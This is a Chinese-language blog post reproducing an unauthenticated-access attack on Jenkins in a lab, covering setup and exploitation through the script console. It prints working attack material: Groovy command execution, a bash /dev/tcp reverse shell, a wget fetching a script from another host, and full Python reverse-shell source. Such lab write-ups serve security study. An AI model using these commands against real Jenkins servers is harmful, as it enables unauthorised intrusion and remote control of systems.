浅谈未授权漏洞——Jenkins未授权getshell

0x01 什么是Jenkins?

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行(这个比较抽象,暂且写上,不做解释)。Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。

0x02 漏洞简介及危害

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

Jenkins功能

Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:

  • 用于持续性、自动的构建/测试软件
  • 项目监控或跑一些定时任务
  • 监控外部调用执行的工作

漏洞原因

Jenkins系统后台中可以执行系统脚本命令

漏洞利用条件

  • 使用低版本的Jenkins,默认没有登录控制
  • 有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
  • 控制台使用了弱密码

0x03 环境配置

靶机:Cent0S(192.168.122.133)

下载环境

镜像站下载(优点:下载快;缺点:不支持所有版本):下载链接

官方下载(优点:版本全;缺点:下载慢):下载链接

安装并启动服务

rpm -ivh jenkins-2.210-1.1.noarch.rpm
service jenkins start

浏览器访问8080端口进行进行安装配置

解锁Jenkins

安装插件并创建管理员账户,最后浏览器访问靶机ip:8080,如下图所示说明环境搭建成功

0x04 漏洞复现

1.浏览器访问http://192.168.122.133:8080/manage,可以看到没有做登录任何限制,可以直接未授权登录到管理界面。说明可能是下面两种情况之一

  • 低版本的jenkisns默认安装启动服务
  • 配置中将登录密码验证关掉了

2.点击“脚本命令行”

3.执行并打印系统命令

println "whoami".execute().text

println "ifconfig".execute().text

4.写入一句话木马

发现权限不够,不能直接写入webshell,这样的话我们应该如何利用呢?我第一个想到的是通过脚本反弹shell

bash -i >& /dev/tcp/192.168.122.130/1234 0>&1

但是发现KALI监听端并没有反弹shell

换一个思路是不是可以先通过上传python脚本,然后利用python脚本生成一个bash反弹shell

利用everything的http服务器功能上传python脚本:wget http://192.200.90.70/D%3A/back.py -P /tmp/

执行Python脚本:println "python /tmp/back.py".execute().text

附Python脚本

#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.122.130",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

成功上传python脚本

nc监听后成功反弹shell

漏洞利用成功....

posted @ 2020-08-27 17:04  C0ldCash  阅读(2596)  评论(0编辑  收藏  举报